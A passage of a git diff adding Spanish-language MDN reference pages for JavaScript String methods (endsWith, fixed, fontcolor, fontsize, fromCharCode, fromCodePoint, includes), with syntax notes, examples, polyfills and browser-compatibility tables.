+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p><strong><code>true</code></strong> si los caracteres proporcionados se encuentran al final de la cadena de texto; en caso contrario, <strong><code>false</code></strong>.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Este método determina si una cadena de texto termina en otra cadena o no. Este método distingue entre mayúsculas y minúsculas.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Este método ha sido añadido a la especificación ECMAScript 6 y puede no estar disponible en todas las implementaciones de JavaScript. Sin embargo, puedes implementar el polyfill <code>String.prototype.endsWith()</code> con el siguiente fragmento de código:</p>
+
+<pre class="brush: js notranslate">if (!String.prototype.endsWith) {
+	String.prototype.endsWith = function(search, this_len) {
+		if (this_len === undefined || this_len &gt; this.length) {
+			this_len = this.length;
+		}
+		return this.substring(this_len - search.length, this_len) === search;
+	};
+}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_endsWith">Usando <code>endsWith()</code></h3>
+
+<pre class="brush: js notranslate">let str = 'To be, or not to be, that is the question.'
+
+console.log(str.endsWith('question.'))  // true
+console.log(str.endsWith('to be'))      // false
+console.log(str.endsWith('to be', 19))  // true
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("javascript.builtins.String.endsWith")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.startsWith()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/fixed/index.html b/files/es/web/javascript/referencia/objetos_globales/string/fixed/index.html
new file mode 100644
index 0000000000..3d188bc39d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/fixed/index.html
@@ -0,0 +1,35 @@
+---
+title: String.prototype.fixed()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/fixed
+tags:
+  - Deprecated
+  - HTML wrapper methods
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fixed
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+<p>{{deprecated_header}}</p>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Causa que una cadena se muestre con una fuente de ancho fijo, como si estuviesde dentro de una <span class="external">etiqueta {{HTMLElement("tt")}}</span>.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox"><em>cadena</em>.fixed()</pre>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>Usa el método <code>fixed</code> para formatear y mostrar unacadena en un documento.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_fixed_para_cambiar_el_formateado_de_una_cadena" name="Ejemplo:_Usando_fixed_para_cambiar_el_formateado_de_una_cadena">Ejemplo: Usando <code>fixed</code> para cambiar el formateado de una cadena</h3>
+<p>El siguiente ejemplo usa el método <code>fixed</code> para cambiar el formateado de una cadena:</p>
+<pre class="brush: js">var cadenaMundo="¡Hola Mundo!"
+console.log(cadenaMundo.fixed())
+</pre>
+<p>Este ejemplo produce el mismo resultado que el siguiente código HTML:</p>
+<pre class="brush: html">&lt;tt&gt;¡Hola Mundo!&lt;/tt&gt;
+</pre>
+<h3 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h3>
+<ul>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/fontcolor/index.html b/files/es/web/javascript/referencia/objetos_globales/string/fontcolor/index.html
new file mode 100644
index 0000000000..135e805cb2
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/fontcolor/index.html
@@ -0,0 +1,122 @@
+---
+title: String.prototype.fontcolor()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/fontcolor
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fontcolor
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<p><code>El método </code><strong><code>fontcolor()</code></strong> crea {{HTMLElement("font")}} elemento HTML que cambia el color de la cadena.</p>
+
+<div class="note">
+<p><strong>Usage note:</strong> La etiqueta &lt;font&gt; fue eliminada en <a href="/en-US/docs/Web/Guide/HTML/HTML5">HTML5</a> y no debe ser usada. En lugar de es, es necesario aplicar propiedades <a href="/en-US/docs/Web/CSS">CSS</a>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.fontcolor(<var>color</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>color</code></dt>
+ <dd>A string expressing the color as a hexadecimal RGB triplet or as a string literal. String literals for color names are listed in the <a href="/en-US/docs/Web/CSS/color_value">CSS color reference</a>.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Si expresas el color como hexadecimal, usa el formato rrggbb. Por ejemplo, el color hexadecimal para salmón es R=FA, G=80, B=72, así que el valor será <code>"FA8072"</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usos_fontcolor()"><code>Usos fontcolor()</code></h3>
+
+<p>Los siguientes ejemplos usan el método <code>fontcolor()</code> para cambiar el color de una cadena.</p>
+
+<pre class="brush: js">var worldString = 'Hello, world';
+
+console.log(worldString.fontcolor('red') +  ' en rojo');
+// '&lt;font color="red"&gt;Hello, world&lt;/font&gt; en rojo'
+
+console.log(worldString.fontcolor('FF00') + ' es rojo en hexadecimal');
+// '&lt;font color="FF00"&gt;Hello, world&lt;/font&gt; es rojo en hexadecimal'
+</pre>
+
+<p>Con el objeto {{domxref("HTMLElement.style", "element.style")}} obtienes el atributo <code>style</code> y manipularlo:</p>
+
+<pre class="brush: js">document.getElementById('yourElemId').style.color = 'red';
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.fontcolor', 'String.prototype.fontcolor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0. Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.fontsize()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/fontsize/index.html b/files/es/web/javascript/referencia/objetos_globales/string/fontsize/index.html
new file mode 100644
index 0000000000..212c49d638
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/fontsize/index.html
@@ -0,0 +1,123 @@
+---
+title: String.prototype.fontsize()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/fontsize
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fontsize
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<p><code>El método </code><strong><code>fontsize()</code></strong> crea {{HTMLElement("font")}} elemento HTML que muestra una cadena con el tamaño especificado.</p>
+
+<div class="note">
+<p><strong>Usage note:</strong> El elemento &lt;font&gt; ha sido eliminado <a href="/en-US/docs/Web/Guide/HTML/HTML5">HTML5</a> y no se debe usar. Los desarrolladores web deben usar propiedades <a href="/en-US/docs/Web/CSS">CSS</a>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.fontsize(<var>size</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>size</code></dt>
+ <dd>Un entero entre 1 y 7.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Cuando especificas el tamaño como entero, estableces el tamaño de la fuente. Cuando especificas el tamaño como cadena tal como "-2", se ajusta el tamaño de la fuente al de la etiqueta {{HTMLElement("basefont")}}.</p>
+
+<p>When you specify size as an integer, you set the font size of <code>str</code> to one of the 7 defined sizes. When you specify <code>size</code> as a string such as "-2", you adjust the font size of <code>str</code> relative to the size set in the {{HTMLElement("basefont")}} tag.</p>
+
+<h2 id="Ejemlpos">Ejemlpos</h2>
+
+<h3 id="Usos_fontsize()"><code>Usos fontsize()</code></h3>
+
+<p>The following example uses string methods to change the size of a string:</p>
+
+<pre class="brush: js">var worldString = 'Hello, world';
+
+console.log(worldString.small());     // &lt;small&gt;Hello, world&lt;/small&gt;
+console.log(worldString.big());       // &lt;big&gt;Hello, world&lt;/big&gt;
+console.log(worldString.fontsize(7)); // &lt;font size="7"&gt;Hello, world&lt;/fontsize&gt;
+</pre>
+
+<p>With the {{domxref("HTMLElement.style", "element.style")}} object you can get the element's <code>style</code> attribute and manipulate it more generically, for example:</p>
+
+<pre class="brush: js">document.getElementById('yourElemId').style.fontSize = '0.7em';
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.fontsize', 'String.prototype.fontsize')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0. Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.big()")}}</li>
+ <li>{{jsxref("String.prototype.small()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/fromcharcode/index.html b/files/es/web/javascript/referencia/objetos_globales/string/fromcharcode/index.html
new file mode 100644
index 0000000000..7e87f3d90d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/fromcharcode/index.html
@@ -0,0 +1,130 @@
+---
+title: String.fromCharCode()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/fromCharCode
+tags:
+  - JavaScript
+  - Method
+  - String
+  - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCharCode
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El <strong><code>String.fromCharCode()</code></strong> método estático que devuelve una cadena creada mediante el uso de una secuencia de valores Unicode especificada.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">String.fromCharCode(<em>num1</em>,<em> ...</em>,<em> numN</em>) </pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>num1, ..., num<em>N</em> </code></dt>
+ <dd>Secuencia de números con los valores Unicode.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Este método devuelve una cadena y no un objeto <code>String</code>.</p>
+
+<p>Debido a que <code>fromCharCode</code> es un método estático de <code>String</code>, usted siempre lo usará como <code>String.fromCharCode()</code>, en vez de un método de un objeto <code>String</code> creado por usted.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_fromCharCode" name="Ejemplo:_Usando_fromCharCode">Ejemplo: Usando <code>fromCharCode</code></h3>
+
+<p>El siguiene ejemplo devuelve la cadena "ABC".</p>
+
+<pre class="brush: js">String.fromCharCode(65,66,67)
+</pre>
+
+<h2 id="Especificaciónes">Especificaciónes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Estándar</td>
+   <td>Primera definicíon<br>
+    Implementada en JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.3.2', 'StringfromCharCode')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.fromcharcodes', 'String.fromCharCode')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/fromcodepoint/index.html b/files/es/web/javascript/referencia/objetos_globales/string/fromcodepoint/index.html
new file mode 100644
index 0000000000..39fe662b75
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/fromcodepoint/index.html
@@ -0,0 +1,204 @@
+---
+title: String.fromCodePoint()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/fromCodePoint
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCodePoint
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El método estatico <strong><code>String.fromCodePoint()</code></strong> devuelve una cadena creada por una secuencia de puntos de codigo.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>String.fromCodePoint(<var>num1</var>[, ...[, <var>numN</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametros</h3>
+
+<dl>
+ <dt><code>num1, ..., num<em>N</em></code></dt>
+ <dd>Una secuencia de puntos de código.</dd>
+</dl>
+
+<h3 id="Throws">Throws</h3>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/RangeError", "RangeError")}}</dt>
+ <dd>A {{jsxref("Global_Objects/RangeError", "RangeError")}} is thrown if an invalid Unicode code point is given (e.g. "RangeError: NaN is not a valid code point").</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Because <code>fromCodePoint()</code> is a static method of {{jsxref("Global_Objects/String", "String")}}, you always use it as <code>String.fromCodePoint()</code>, rather than as a method of a {{jsxref("Global_Objects/String", "String")}} object you created.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Using_fromCharCode" name="Example:_Using_fromCharCode">Ejemplos: Usando <code>fromCodePoint()</code></h3>
+
+<pre class="brush: js">String.fromCodePoint(42);       // "*"
+String.fromCodePoint(65, 90);   // "AZ"
+String.fromCodePoint(0x404);    // "\u0404"
+String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
+String.fromCodePoint(194564);   // "\uD87E\uDC04"
+String.fromCodePoint(0x1D306, 0x61, 0x1D307) // "\uD834\uDF06a\uD834\uDF07"
+
+String.fromCodePoint('_');      // RangeError
+String.fromCodePoint(Infinity); // RangeError
+String.fromCodePoint(-1);       // RangeError
+String.fromCodePoint(3.14);     // RangeError
+String.fromCodePoint(3e-2);     // RangeError
+String.fromCodePoint(NaN);      // RangeError
+</pre>
+
+<pre class="brush: js">// String.fromCharCode() alone cannot get the character at such a high code point
+// The following, on the other hand, can return a 4-byte character as well as the
+// usual 2-byte ones (i.e., it can return a single character which actually has
+// a string length of 2 instead of 1!)
+console.log(String.fromCodePoint(0x2F804)); // or 194564 in decimal
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Polyfill</h2>
+
+<p>The <code>String.fromCodePoint</code> method has been added to the ECMAScript standard in version 6 and may not be supported in all web browsers or environments yet. Use the code below for a polyfill:</p>
+
+<pre class="brush: js">/*! http://mths.be/fromcodepoint v0.1.0 by @mathias */
+if (!String.fromCodePoint) {
+  (function() {
+    var defineProperty = (function() {
+      // IE 8 only supports `Object.defineProperty` on DOM elements
+      try {
+        var object = {};
+        var $defineProperty = Object.defineProperty;
+        var result = $defineProperty(object, object, object) &amp;&amp; $defineProperty;
+      } catch(error) {}
+      return result;
+    }());
+    var stringFromCharCode = String.fromCharCode;
+    var floor = Math.floor;
+    var fromCodePoint = function() {
+      var MAX_SIZE = 0x4000;
+      var codeUnits = [];
+      var highSurrogate;
+      var lowSurrogate;
+      var index = -1;
+      var length = arguments.length;
+      if (!length) {
+        return '';
+      }
+      var result = '';
+      while (++index &lt; length) {
+        var codePoint = Number(arguments[index]);
+        if (
+          !isFinite(codePoint) ||       // `NaN`, `+Infinity`, or `-Infinity`
+          codePoint &lt; 0 ||              // not a valid Unicode code point
+          codePoint &gt; 0x10FFFF ||       // not a valid Unicode code point
+          floor(codePoint) != codePoint // not an integer
+        ) {
+          throw RangeError('Invalid code point: ' + codePoint);
+        }
+        if (codePoint &lt;= 0xFFFF) { // BMP code point
+          codeUnits.push(codePoint);
+        } else { // Astral code point; split in surrogate halves
+          // http://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
+          codePoint -= 0x10000;
+          highSurrogate = (codePoint &gt;&gt; 10) + 0xD800;
+          lowSurrogate = (codePoint % 0x400) + 0xDC00;
+          codeUnits.push(highSurrogate, lowSurrogate);
+        }
+        if (index + 1 == length || codeUnits.length &gt; MAX_SIZE) {
+          result += stringFromCharCode.apply(null, codeUnits);
+          codeUnits.length = 0;
+        }
+      }
+      return result;
+    };
+    if (defineProperty) {
+      defineProperty(String, 'fromCodePoint', {
+        'value': fromCodePoint,
+        'configurable': true,
+        'writable': true
+      });
+    } else {
+      String.fromCodePoint = fromCodePoint;
+    }
+  }());
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.fromcodepoint', 'String.fromCodePoint')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>41</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("29")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/includes/index.html b/files/es/web/javascript/referencia/objetos_globales/string/includes/index.html
new file mode 100644
index 0000000000..094a3fd648
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/includes/index.html
@@ -0,0 +1,108 @@
+---
+title: String.prototype.includes()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/includes
+tags:
+  - Cadena de texto
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - String
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/String/includes
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>includes()</code></strong> determina si una cadena de texto puede ser encontrada dentro de otra cadena de texto, devolviendo <code><strong>true</strong></code> o <strong><code>false</code></strong> según corresponda.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-includes.html", "shorter")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code><var>str</var>.includes(<var>searchString</var>[, <var>position</var>])</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code><var>searchString</var></code></dt>
+ <dd>Una cadena a buscar en el texto <em><code>str</code></em>.</dd>
+ <dt><code><var>position</var></code> {{optional_inline}}</dt>
+ <dd>La posición dentro de la cadena en la cual empieza la búsqueda de <code>searchString</code> (Por defecto este valor es 0).</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p><strong><code>true</code></strong> si la cadena de texto contiene la cadena buscada; en caso contrario, <strong><code>false</code></strong>.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Este método permite determinar si una cadena de texto se encuentra incluida dentro de la otra.</p>
+
+<h3 id="Sensibilidad_a_MayúsculasMinúsculas">Sensibilidad a Mayúsculas/Minúsculas</h3>
+
+<p>El método <code>includes()</code> es "case sensitive" (tiene en cuenta mayúsculas y minúsculas). Por ejemplo, la siguiente expresión devolverá <code>false</code>:</p>
+
+<pre class="brush: js notranslate">'Ballena azul'.includes('ballena'); // devuelve false
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Este método ha sido agregado a la especificación ECMAScript 2015 y puede no estar  disponible en toda las implementaciones de JavaScript.</p>
+
+<p>Sin embargo, puedes usar este método como polyfill:</p>
+
+<pre class="brush: js notranslate">if (!String.prototype.includes) {
+  String.prototype.includes = function(search, start) {
+    'use strict';
+
+    if (search instanceof RegExp) {
+      throw TypeError('first argument must not be a RegExp');
+    }
+    if (start === undefined) { start = 0; }
+    return this.indexOf(search, start) !== -1;
+  };
+}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_includes">Usando <code>includes()</code></h3>
+
+<pre class="brush: js notranslate">const str = 'To be, or not to be, that is the question.'
+
+console.log(str.includes('To be'))        // true
+console.log(str.includes('question'))     // true
+console.log(str.includes('nonexistent'))  // false
+console.log(str.includes('To be', 1))     // false
+console.log(str.includes('TO BE'))        // false
+console.log(str.includes(''))             // true
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.includes', 'String.prototype.includes')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("javascript.builtins.String.includes")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.includes()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.startsWith()")}}</li>
+ <li>{{jsxref("String.prototype.endsWith()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/index.html b/files/es/web/javascript/referencia/objetos_globales/string/index.html
new file mode 100644
index 0000000000..a6c5aea8e3
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/index.html
@@ -0,0 +1,385 @@
+---
+title: String — Cadena de caracteres
+slug: Web/JavaScript/Referencia/Objetos_globales/String
+tags:
+  - Clase
+  - Class
+  - ECMAScript 2015
+  - JavaScript
+  - Referencia
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <strong><code>String</code></strong> se utiliza para representar y manipular una secuencia de caracteres.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Las cadenas son útiles para almacenar datos que se pueden representar en forma de texto. Algunas de las operaciones más utilizadas en cadenas son verificar su {{jsxref("String.length", "length")}}, para construirlas y concatenarlas usando <a href="/es/docs/Web/JavaScript/Reference/Operators/String_Operators">operadores de cadena + y +=</a>, verificando la existencia o ubicación de subcadenas con {{jsxref("String.prototype.indexOf()", "indexOf()")}} o extraer subcadenas con el método {{jsxref("String.prototype.substring()", "substring()")}}.</p>
+
